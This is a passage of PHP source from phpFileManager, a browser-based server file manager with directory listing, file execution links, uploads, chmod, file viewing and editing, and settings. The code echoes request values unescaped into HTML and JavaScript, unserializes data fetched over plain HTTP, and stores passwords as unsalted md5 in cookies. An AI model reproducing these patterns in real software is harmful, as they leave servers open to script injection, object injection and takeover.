                    if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".exe#.com#.sh#.bat#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:execute_file('".addslashes($file)."')\">".et('Exec')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if (count($file_out[$file_count])>$max_opt){
                        $max_opt = count($file_out[$file_count]);
                    }
                    $file_count++;
                }
            }
            if ($dir_count){
                $out .= "
                <tr>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1&current_dir=$current_dir\">".et('Name')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2&current_dir=$current_dir\">".et('Perm')."</a></nobr></td>";
                if ($islinux) $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3&current_dir=$current_dir\">".et('Owner')."</a></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4&current_dir=$current_dir\">".et('Group')."</a></nobr></td>";
                $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5&current_dir=$current_dir\">".et('Size')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6&current_dir=$current_dir\">".et('Date')."</a></nobr></td>";
                if ($file_count) $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7&current_dir=$current_dir\">".et('Type')."</a></nobr></td>";
                $out .= "
                      <td bgcolor=\"#DDDDDD\" colspan=50>&nbsp;</td>
                </tr>";

            }
            foreach($dir_out as $k=>$v){
                while (count($dir_out[$k])<$max_opt) {
                    $dir_out[$k][] = "<td>&nbsp;</td>";
                }
                $out .= implode($dir_out[$k]);
                $out .= "</tr>";
            }
            if ($file_count){
                $out .= "
                <tr>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or1&current_dir=$current_dir\">".et('Name')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or2&current_dir=$current_dir\">".et('Perm')."</a></nobr></td>";
                if ($islinux) $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or3&current_dir=$current_dir\">".et('Owner')."</a></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or4&current_dir=$current_dir\">".et('Group')."</a></nobr></td>";
                $out .= "
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or5&current_dir=$current_dir\">".et('Size')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or6&current_dir=$current_dir\">".et('Date')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\"><nobr><a href=\"".$path_info["basename"]."?frame=3&or_by=$or7&current_dir=$current_dir\">".et('Type')."</a></nobr></td>
                      <td bgcolor=\"#DDDDDD\" colspan=50>&nbsp;</td>
                </tr>";

            }
            foreach($file_out as $k=>$v){
                while (count($file_out[$k])<$max_opt) {
                    $file_out[$k][] = "<td>&nbsp;</td>";
                }
                $out .= implode($file_out[$k]);
                $out .= "</tr>";
            }
            $out .= "
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
                      <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI1\" value=\"".et('SelAll')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Rem')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
                      <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
                      <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
            if ($islinux) $out .= "
                      <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
            $out .= "
                      <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
            $out .= "
                </nobr></td>
                </tr>";
            $out .= "
            </form>";
            $out .= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>$dir_count ".et('Dir_s')." ".et('And')." $file_count ".et('File_s')." = ".format_size($total_size)."</td></tr>";
            if ($quota_mb) {
                $out .= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('Partition').": ".format_size(($quota_mb*1024*1024))." ".et('Total')." - ".format_size(($quota_mb*1024*1024)-total_size($fm_current_root))." ".et('Free')."</td></tr>";
            } else {
                $out .= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('Partition').": ".format_size(disk_total_space($current_dir))." ".et('Total')." - ".format_size(disk_free_space($current_dir))." ".et('Free')."</td></tr>";
            }
            $tf = getmicrotime();
            $tt = ($tf - $ti);
            $out .= "
                <tr><td bgcolor=\"#DDDDDD\" colspan=50><b>".et('RenderTime').": ".substr($tt,0,strrpos($tt,".")+5)." ".et('Seconds')."</td></tr>";
            $out .= "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                update_sel_status();
            //-->
            </script>";
        } else {
            $out .= "
            <tr>
            <td bgcolor=\"#DDDDDD\" width=\"1%\">$uplink<td bgcolor=\"#DDDDDD\" colspan=50><nobr><a href=\"".$path_info["basename"]."?frame=3&current_dir=$current_dir\">$current_dir</a></nobr>
            <tr><td bgcolor=\"#DDDDDD\" colspan=50>".et('EmptyDir').".</tr>";
        }
    } else $out .= "<tr><td><font color=red>".et('IOError').".<br>$current_dir</font>";
    $out .= "</table>";
    echo $out;
}
function upload_form(){
    global $_FILES,$current_dir,$dir_dest,$fechar,$quota_mb,$path_info;
    $num_uploads = 5;
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">";
    if (count($_FILES)==0){
        echo "
        <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
        <form name=\"upload_form\" action=\"".$path_info["basename"]."\" method=\"post\" ENCTYPE=\"multipart/form-data\">
        <input type=hidden name=dir_dest value=\"$current_dir\">
        <input type=hidden name=action value=10>
        <tr><th colspan=2>".et('Upload')."</th></tr>
        <tr><td align=right><b>".et('Destination').":<td><b><nobr>$current_dir</nobr>";
        for ($x=0;$x<$num_uploads;$x++){
            echo "<tr><td width=1 align=right><b>".et('File').":<td><nobr><input type=\"file\" name=\"file$x\"></nobr>";
            $test_js .= "(document.upload_form.file$x.value.length>0)||";
        }
        echo "
        <input type=button value=\"".et('Send')."\" onclick=\"test_upload_form()\"></nobr>
        <tr><td> <td><input type=checkbox name=fechar value=\"1\"> <a href=\"JavaScript:troca();\">".et('AutoClose')."</a>
        <tr><td colspan=2> </td></tr>
        </form>
        </table>
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
            function troca(){
                if(document.upload_form.fechar.checked){document.upload_form.fechar.checked=false;}else{document.upload_form.fechar.checked=true;}
            }
            foi = false;
            function test_upload_form(){
                if(".substr($test_js,0,strlen($test_js)-2)."){
                    if (foi) alert('".et('SendingForm')."...');
                    else {
                        foi = true;
                        document.upload_form.submit();
                    }
                } else alert('".et('NoFileSel').".');
            }
            window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
        //-->
        </script>";
    } else {
        $out = "<tr><th colspan=2>".et('UploadEnd')."</th></tr>
                <tr><th colspan=2><nobr>".et('Destination').": $dir_dest</nobr>";
        for ($x=0;$x<$num_uploads;$x++){
            $temp_file = $_FILES["file".$x]["tmp_name"];
            $filename = $_FILES["file".$x]["name"];
            if (strlen($filename)) $resul = save_upload($temp_file,$filename,$dir_dest);
            else $resul = 7;
            switch($resul){
                case 1:
                $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=green><b> ".et('FileSent').":</font><td>".$filename."</td></tr>\n";
                break;
                case 2:
                $out .= "<tr><td colspan=2><font color=red><b>".et('IOError')."</font></td></tr>\n";
                $x = $upload_num;
                break;
                case 3:
                $out .= "<tr><td colspan=2><font color=red><b>".et('SpaceLimReached')." ($quota_mb Mb)</font></td></tr>\n";
                $x = $upload_num;
                break;
                case 4:
                $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=red><b> ".et('InvExt').":</font><td>".$filename."</td></tr>\n";
                break;
                case 5:
                $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=red><b> ".et('FileNoOverw')."</font><td>".$filename."</td></tr>\n";
                break;
                case 6:
                $out .= "<tr><td><b>".str_zero($x+1,3).".<font color=green><b> ".et('FileOverw').":</font><td>".$filename."</td></tr>\n";
                break;
                case 7:
                $out .= "<tr><td colspan=2><b>".str_zero($x+1,3).".<font color=red><b> ".et('FileIgnored')."</font></td></tr>\n";
            }
        }
        if ($fechar) {
            echo "
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                window.close();
            //-->
            </script>
            ";
        } else {
            echo "
            <table height=\"100%\" border=0 cellspacing=0 cellpadding=2 align=center>
            $out
            <tr><td colspan=2> </td></tr>
            </table>
            <script language=\"Javascript\" type=\"text/javascript\">
            <!--
                window.focus();
            //-->
            </script>
            ";
        }
    }
    echo "</body>\n</html>";
}
function chmod_form(){
    html_header("
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
    function octalchange()
    {
        var val = document.chmod_form.t_total.value;
        var stickybin = parseInt(val.charAt(0)).toString(2);
        var ownerbin = parseInt(val.charAt(1)).toString(2);
        while (ownerbin.length<3) { ownerbin=\"0\"+ownerbin; };
        var groupbin = parseInt(val.charAt(2)).toString(2);
        while (groupbin.length<3) { groupbin=\"0\"+groupbin; };
        var otherbin = parseInt(val.charAt(3)).toString(2);
        while (otherbin.length<3) { otherbin=\"0\"+otherbin; };
        document.chmod_form.sticky.checked = parseInt(stickybin.charAt(0));
        document.chmod_form.owner4.checked = parseInt(ownerbin.charAt(0));
        document.chmod_form.owner2.checked = parseInt(ownerbin.charAt(1));
        document.chmod_form.owner1.checked = parseInt(ownerbin.charAt(2));
        document.chmod_form.group4.checked = parseInt(groupbin.charAt(0));
        document.chmod_form.group2.checked = parseInt(groupbin.charAt(1));
        document.chmod_form.group1.checked = parseInt(groupbin.charAt(2));
        document.chmod_form.other4.checked = parseInt(otherbin.charAt(0));
        document.chmod_form.other2.checked = parseInt(otherbin.charAt(1));
        document.chmod_form.other1.checked = parseInt(otherbin.charAt(2));
        calc_chmod(1);
    };

    function calc_chmod(nototals)
    {
      var users = new Array(\"owner\", \"group\", \"other\");
      var totals = new Array(\"\",\"\",\"\");
      var syms = new Array(\"\",\"\",\"\");

        for (var i=0; i<users.length; i++)
        {
            var user=users[i];
            var field4 = user + \"4\";
            var field2 = user + \"2\";
            var field1 = user + \"1\";
            var symbolic = \"sym_\" + user;
            var number = 0;
            var sym_string = \"\";
            var sticky = \"0\";
            var sticky_sym = \" \";
            if (document.chmod_form.sticky.checked){
                sticky = \"1\";
                sticky_sym = \"t\";
            }
            if (document.chmod_form[field4].checked == true) { number += 4; }
            if (document.chmod_form[field2].checked == true) { number += 2; }
            if (document.chmod_form[field1].checked == true) { number += 1; }

            if (document.chmod_form[field4].checked == true) {
                sym_string += \"r\";
            } else {
                sym_string += \"-\";
            }
            if (document.chmod_form[field2].checked == true) {
                sym_string += \"w\";
            } else {
                sym_string += \"-\";
            }
            if (document.chmod_form[field1].checked == true) {
                sym_string += \"x\";
            } else {
                sym_string += \"-\";
            }

            totals[i] = totals[i]+number;
            syms[i] =  syms[i]+sym_string;

      };
        if (!nototals) document.chmod_form.t_total.value = sticky + totals[0] + totals[1] + totals[2];
        document.chmod_form.sym_total.value = syms[0] + syms[1] + syms[2] + sticky_sym;
    }
    function sticky_change(){
        document.chmod_form.sticky.checked = !(document.chmod_form.sticky.checked);
    }
	function apply_chmod(){
        if (confirm('".et('AlterPermTo')." \\' '+document.chmod_form.t_total.value+' \\' ?\\n')){
            window.opener.set_chmod_arg(document.chmod_form.t_total.value);
			window.close();
		}
	}

    window.onload=octalchange
    window.moveTo((window.screen.width-400)/2,((window.screen.height-200)/2)-20);
    //-->
    </script>");
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <form name=\"chmod_form\">
    <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
    <tr><th colspan=4>".et('Perms')."</th></tr>
    <TR ALIGN=\"LEFT\" VALIGN=\"MIDDLE\">
    <TD><input type=\"text\" name=\"t_total\" value=\"0755\" size=\"4\" onKeyUp=\"octalchange()\"> </TD>
    <TD><input type=\"text\" name=\"sym_total\" value=\"\" size=\"12\" READONLY=\"1\"></TD>
    </TR>
    </TABLE>
    <table cellpadding=\"2\" cellspacing=\"0\" border=\"0\" ALIGN=CENTER>
    <tr bgcolor=\"#333333\">
    <td WIDTH=\"60\" align=\"left\"> </td>
    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Owner')."
    </b></td>
    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Group')."
    </b></td>
    <td WIDTH=\"55\" align=\"center\" style=\"color:#FFFFFF\"><b>".et('Other')."
    <b></td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Read')."</td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other4\" value=\"4\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Write')."</td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner2\" value=\"2\" onclick=\"calc_chmod()\"></td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group2\" value=\"2\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other2\" value=\"2\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    <tr bgcolor=\"#DDDDDD\">
    <td WIDTH=\"60\" align=\"left\" nowrap BGCOLOR=\"#FFFFFF\">".et('Exec')."</td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"owner1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#FFFFFF\"><input type=\"checkbox\" name=\"group1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    <td WIDTH=\"55\" align=\"center\" bgcolor=\"#EEEEEE\">
    <input type=\"checkbox\" name=\"other1\" value=\"1\" onclick=\"calc_chmod()\">
    </td>
    </tr>
    </TABLE>
    <TABLE BORDER=\"0\" CELLSPACING=\"0\" CELLPADDING=\"4\" ALIGN=CENTER>
    <tr><td colspan=2><input type=checkbox name=sticky value=\"1\" onclick=\"calc_chmod()\"> <a href=\"JavaScript:sticky_change();\">".et('StickyBit')."</a><td colspan=2 align=right><input type=button value=\"".et('Apply')."\" onClick=\"apply_chmod()\"></tr>
    </table>
    </form>
    </body>\n</html>";
}
function get_mime_type($ext = ''){
    $mimes = array(
      'hqx'   =>  'application/mac-binhex40',
      'cpt'   =>  'application/mac-compactpro',
      'doc'   =>  'application/msword',
      'bin'   =>  'application/macbinary',
      'dms'   =>  'application/octet-stream',
      'lha'   =>  'application/octet-stream',
      'lzh'   =>  'application/octet-stream',
      'exe'   =>  'application/octet-stream',
      'class' =>  'application/octet-stream',
      'psd'   =>  'application/octet-stream',
      'so'    =>  'application/octet-stream',
      'sea'   =>  'application/octet-stream',
      'dll'   =>  'application/octet-stream',
      'oda'   =>  'application/oda',
      'pdf'   =>  'application/pdf',
      'ai'    =>  'application/postscript',
      'eps'   =>  'application/postscript',
      'ps'    =>  'application/postscript',
      'smi'   =>  'application/smil',
      'smil'  =>  'application/smil',
      'mif'   =>  'application/vnd.mif',
      'xls'   =>  'application/vnd.ms-excel',
      'ppt'   =>  'application/vnd.ms-powerpoint',
      'pptx'  =>  'application/vnd.ms-powerpoint',
      'wbxml' =>  'application/vnd.wap.wbxml',
      'wmlc'  =>  'application/vnd.wap.wmlc',
      'dcr'   =>  'application/x-director',
      'dir'   =>  'application/x-director',
      'dxr'   =>  'application/x-director',
      'dvi'   =>  'application/x-dvi',
      'gtar'  =>  'application/x-gtar',
      'php'   =>  'application/x-httpd-php',
      'php4'  =>  'application/x-httpd-php',
      'php3'  =>  'application/x-httpd-php',
      'phtml' =>  'application/x-httpd-php',
      'phps'  =>  'application/x-httpd-php-source',
      'js'    =>  'application/x-javascript',
      'swf'   =>  'application/x-shockwave-flash',
      'sit'   =>  'application/x-stuffit',
      'tar'   =>  'application/x-tar',
      'tgz'   =>  'application/x-tar',
      'xhtml' =>  'application/xhtml+xml',
      'xht'   =>  'application/xhtml+xml',
      'zip'   =>  'application/zip',
      'mid'   =>  'audio/midi',
      'midi'  =>  'audio/midi',
      'mpga'  =>  'audio/mpeg',
      'mp2'   =>  'audio/mpeg',
      'mp3'   =>  'audio/mpeg',
      'aif'   =>  'audio/x-aiff',
      'aiff'  =>  'audio/x-aiff',
      'aifc'  =>  'audio/x-aiff',
      'ram'   =>  'audio/x-pn-realaudio',
      'rm'    =>  'audio/x-pn-realaudio',
      'rpm'   =>  'audio/x-pn-realaudio-plugin',
      'ra'    =>  'audio/x-realaudio',
      'rv'    =>  'video/vnd.rn-realvideo',
      'wav'   =>  'audio/x-wav',
      'bmp'   =>  'image/bmp',
      'gif'   =>  'image/gif',
      'jpeg'  =>  'image/jpeg',
      'jpg'   =>  'image/jpeg',
      'jpe'   =>  'image/jpeg',
      'png'   =>  'image/png',
      'tiff'  =>  'image/tiff',
      'tif'   =>  'image/tiff',
      'css'   =>  'text/css',
      'html'  =>  'text/html',
      'htm'   =>  'text/html',
      'shtml' =>  'text/html',
      'txt'   =>  'text/plain',
      'text'  =>  'text/plain',
      'log'   =>  'text/plain',
      'rtx'   =>  'text/richtext',
      'rtf'   =>  'text/rtf',
      'xml'   =>  'text/xml',
      'xsl'   =>  'text/xml',
      'mpeg'  =>  'video/mpeg',
      'mpg'   =>  'video/mpeg',
      'mpe'   =>  'video/mpeg',
      'qt'    =>  'video/quicktime',
      'mov'   =>  'video/quicktime',
      'avi'   =>  'video/x-msvideo',
      'movie' =>  'video/x-sgi-movie',
      'doc'   =>  'application/msword',
      'docx'  =>  'application/msword',
      'word'  =>  'application/msword',
      'xl'    =>  'application/excel',
      'xls'   =>  'application/excel',
      'xlsx'  =>  'application/excel',
      'eml'   =>  'message/rfc822'
    );
    return (!isset($mimes[lowercase($ext)])) ? 'application/octet-stream' : $mimes[lowercase($ext)];
}
function view(){
    global $doc_root,$path_info,$url_info,$current_dir,$islinux,$filename,$passthru;
	if (intval($passthru)){
	    $file = $current_dir.$filename;
	    if(file_exists($file)){
	        $is_denied = false;
	        foreach($download_ext_filter as $key=>$ext){
	            if (eregi($ext,$filename)){
	                $is_denied = true;
	                break;
	            }
	        }
	        if (!$is_denied){
                if ($fh = fopen("$file", "rb")){
	                fclose($fh);
					$ext = pathinfo($file, PATHINFO_EXTENSION);
					$ctype = get_mime_type($ext);
					if ($ctype == "application/octet-stream") $ctype = "text/plain";
					header("Pragma: public");
					header("Expires: 0");
					header("Connection: close");
					header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
					header("Cache-Control: public");
					header("Content-Description: File Transfer");
					header("Content-Type: ".$ctype);
				    header("Content-Disposition: inline; filename=\"".pathinfo($file, PATHINFO_BASENAME)."\";");
					header("Content-Transfer-Encoding: binary");
					header("Content-Length: ".filesize($file));
					@readfile($file);
					exit();
	            } else alert(et('ReadDenied').": ".$file);
	        } else alert(et('ReadDenied').": ".$file);
	    } else alert(et('FileNotFound').": ".$file);
        echo "
	    <script language=\"Javascript\" type=\"text/javascript\">
	    <!--
	        window.close();
	    //-->
	    </script>";
	} else {
	    html_header();
	    echo "<body marginwidth=\"0\" marginheight=\"0\">";
	    $is_reachable_thru_webserver = (stristr($current_dir,$doc_root)!==false);
	    if ($is_reachable_thru_webserver){
	        $url = $url_info["scheme"]."://".$url_info["host"];
	        if (strlen($url_info["port"])) $url .= ":".$url_info["port"];
	        // Malditas variaveis de sistema!! No windows doc_root  sempre em lowercase... cad o str_ireplace() ??
	        $url .= str_replace($doc_root,"","/".$current_dir).$filename;
	    } else {
			$url = addslashes($path_info["basename"])."?action=4&current_dir=".addslashes($current_dir)."&filename=".addslashes($filename)."&passthru=1";
	    }
        echo "
	    <script language=\"Javascript\" type=\"text/javascript\">
	    <!--
        	window.moveTo((window.screen.width-800)/2,((window.screen.height-600)/2)-20);
	        document.location.href='$url';
	    //-->
	    </script>
    	</body>\n</html>";
	}
}
function edit_file_form(){
    global $current_dir,$filename,$file_data,$save_file,$path_info;
    $file = $current_dir.$filename;
    if ($save_file){
        $fh=fopen($file,"w");
        fputs($fh,$file_data,strlen($file_data));
        fclose($fh);
    }
    $fh=fopen($file,"r");
    $file_data=fread($fh, filesize($file));
    fclose($fh);
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">
    <table border=0 cellspacing=0 cellpadding=5 align=center>
    <form name=\"edit_form\" action=\"".$path_info["basename"]."\" method=\"post\">
    <input type=hidden name=action value=\"7\">
    <input type=hidden name=save_file value=\"1\">
    <input type=hidden name=current_dir value=\"$current_dir\">
    <input type=hidden name=filename value=\"$filename\">
    <tr><th colspan=2>".$file."</th></tr>
    <tr><td colspan=2><textarea name=file_data style='width:1000px;height:680px;'>".html_encode($file_data)."</textarea></td></tr>
    <tr><td><input type=button value=\"".et('Refresh')."\" onclick=\"document.edit_form_refresh.submit()\"></td><td align=right><input type=button value=\"".et('SaveFile')."\" onclick=\"go_save()\"></td></tr>
    </form>
    <form name=\"edit_form_refresh\" action=\"".$path_info["basename"]."\" method=\"post\">
    <input type=hidden name=action value=\"7\">
    <input type=hidden name=current_dir value=\"$current_dir\">
    <input type=hidden name=filename value=\"$filename\">
    </form>
    </table>
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        window.moveTo((window.screen.width-1024)/2,((window.screen.height-728)/2)-20);
        function go_save(){";
    if (is_writable($file)) {
        echo "
        document.edit_form.submit();";
    } else {
        echo "
        if(confirm('".et('ConfTrySave')." ?')) document.edit_form.submit();";
    }
    echo "
        }
    //-->
    </script>
    </body>\n</html>";
}
function config_form(){
    global $cfg;
    global $current_dir,$fm_self,$doc_root,$path_info,$fm_current_root,$lang,$error_reporting,$version;
    global $config_action,$newpass,$newlang,$newerror,$newfm_root;
    $Warning = "";
    switch ($config_action){
        case 1:
            if ($fh = fopen("http://phpfm.sf.net/latest.php","r")){
                $data = "";
                while (!feof($fh)) $data .= fread($fh,1024);
                fclose($fh);
                $data = unserialize($data);
                $ChkVerWarning = "<tr><td align=right> ";
                if (is_array($data)&&count($data)){
                    $ChkVerWarning .= "<a href=\"JavaScript:open_win('http://sourceforge.net')\">
                    <img src=\"http://sourceforge.net/sflogo.php?group_id=114392&type=1\" width=\"88\" height=\"31\" style=\"border: 1px solid #AAAAAA\" alt=\"SourceForge.net Logo\" />
					</a>";
                    if (str_replace(".","",$data['version'])>str_replace(".","",$cfg->data['version'])) $ChkVerWarning .= "<td><a href=\"JavaScript:open_win('http://prdownloads.sourceforge.net/phpfm/phpFileManager-".$data['version'].".zip?download')\"><font color=green>".et('ChkVerAvailable')."</font></a>";
                    else $ChkVerWarning .= "<td><font color=red>".et('ChkVerNotAvailable')."</font>";
                } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
            } else $ChkVerWarning .= "<td><font color=red>".et('ChkVerError')."</font>";
        break;
        case 2:
            $reload = false;
            if ($cfg->data['lang'] != $newlang){
                $cfg->data['lang'] = $newlang;
                $lang = $newlang;
                $reload = true;
            }
            if ($cfg->data['error_reporting'] != $newerror){
                $cfg->data['error_reporting'] = $newerror;
                $error_reporting = $newerror;
                $reload = true;
            }
            $newfm_root = format_path($newfm_root);
            if ($cfg->data['fm_root'] != $newfm_root){
                $cfg->data['fm_root'] = $newfm_root;
                if (strlen($newfm_root)) $current_dir = $newfm_root;
                else $current_dir = $path_info["dirname"]."/";
                setcookie("fm_current_root", $newfm_root , 0 , "/");
                $reload = true;
            }
            $cfg->save();
            if ($reload){
                reloadframe("window.opener.parent",2);
                reloadframe("window.opener.parent",3);
            }
            $Warning1 = et('ConfSaved')."...";
        break;
        case 3:
            if ($cfg->data['auth_pass'] != md5($newpass)){
                $cfg->data['auth_pass'] = md5($newpass);
                setcookie("loggedon", md5($newpass) , 0 , "/");
            }
            $cfg->save();
            $Warning2 = et('PassSaved')."...";
        break;
    }
    html_header();
    echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
    echo "
    <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
    <tr><td colspan=2 align=center><b>".uppercase(et('Configurations'))."</b></td></tr>
    </table>
    <table border=0 cellspacing=0 cellpadding=5 align=center width=\"100%\">
	<form>
    <tr><td align=right width=\"1%\">".et('Version').":<td>$version (".get_size($fm_self).")</td></tr>
    <tr><td align=right>".et('Website').":<td><a href=\"JavaScript:open_win('http://phpfm.sf.net')\">http://phpfm.sf.net</a>&nbsp;&nbsp;&nbsp;<input type=button value=\"".et('ChkVer')."\" onclick=\"test_config_form(1)\"></td></tr>
	</form>";
    if (strlen($ChkVerWarning)) echo $ChkVerWarning.$data['warnings'];
    echo "
 	<style type=\"text/css\">
		.buymeabeer {
		    background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 0 no-repeat;
		    text-indent: -9999px;
		    width: 128px;
		    height: 31px;
            border: none;
   			cursor: hand;
   			cursor: pointer;
		}
		.buymeabeer:hover {
		    background: url('http://phpfm.sf.net/img/buymeabeer.png') 0 -31px no-repeat;
		}
	</style>
	<tr><td align=right>Like this project?</td><td>
	<form name=\"buymeabeer_form\" action=\"https://www.paypal.com/cgi-bin/webscr\" method=\"post\">
		<input type=\"hidden\" name=\"cmd\" value=\"_xclick\">
		<input type=\"hidden\" name=\"business\" value=\"[email protected]\">
		<input type=\"hidden\" name=\"lc\" value=\"BR\">
		<input type=\"hidden\" name=\"item_name\" value=\"A Beer\">
		<input type=\"hidden\" name=\"button_subtype\" value=\"services\">
		<input type=\"hidden\" name=\"currency_code\" value=\"USD\">
		<input type=\"hidden\" name=\"tax_rate\" value=\"0.000\">
		<input type=\"hidden\" name=\"shipping\" value=\"0.00\">
		<input type=\"hidden\" name=\"bn\" value=\"PP-BuyNowBF:btn_buynowCC_LG.gif:NonHostedGuest\">
        <input type=\"submit\" class=\"buymeabeer\" value=\"buy me a beer\">
	        <input type=\"hidden\" name=\"buyer_credit_promo_code\" value=\"\">
	        <input type=\"hidden\" name=\"buyer_credit_product_category\" value=\"\">
	        <input type=\"hidden\" name=\"buyer_credit_shipping_method\" value=\"\">
	        <input type=\"hidden\" name=\"buyer_credit_user_address_change\" value=\"\">
	        <input type=\"hidden\" name=\"tax\" value=\"0\">
			<input type=\"hidden\" name=\"no_shipping\" value=\"1\">
	        <input type=\"hidden\" name=\"return\" value=\"http://phpfm.sf.net\">
	        <input type=\"hidden\" name=\"cancel_return\" value=\"http://phpfm.sf.net\">
	</form>
	</td></tr>
    <form name=\"config_form\" action=\"".$path_info["basename"]."\" method=\"post\">
    <input type=hidden name=action value=2>
    <input type=hidden name=config_action value=0>
    <tr><td align=right width=1><nobr>".et('DocRoot').":</nobr><td>".$doc_root."</td></tr>
    <tr><td align=right><nobr>".et('FLRoot').":</nobr><td><input type=text size=60 name=newfm_root value=\"".$cfg->data['fm_root']."\" onkeypress=\"enterSubmit(event,'test_config_form(2)')\"></td></tr>
    <tr><td align=right>".et('Lang').":<td>
	<select name=newlang>
    	<option value=cat>Catalan - by Pere Borr s AKA @Norl
        <option value=nl>Dutch - by Leon Buijs
		<option value=en>English - by Fabricio Seger Kolling
		<option value=fr1>French - by Jean Bilwes
        <option value=fr2>French - by Sharky
        <option value=fr3>French - by Michel Lainey
		<option value=de1>German - by Guido Ogrzal
        <option value=de2>German - by AXL
        <option value=de3>German - by Mathias Rothe
        <option value=it1>Italian - by Valerio Capello
        <option value=it2>Italian - by Federico Corr 
        <option value=it3>Italian - by Luca Zorzi
        <option value=it4>Italian - by Gianni
		<option value=kr>Korean - by Airplanez	
		<option value=pt>Portuguese - by Fabricio Seger Kolling
		<option value=es>Spanish - by Sh Studios
        <option value=ru>Russian - by   
        <option value=tr>Turkish - by Necdet Yazilimlari
	</select></td></tr>
    <tr><td align=right>".et('ErrorReport').":<td><select name=newerror>
	<option value=\"0\">Disabled
	<option value=\"1\">Show Errors
	<option value=\"2\">Show Errors, Warnings and Notices
	</select></td></tr>
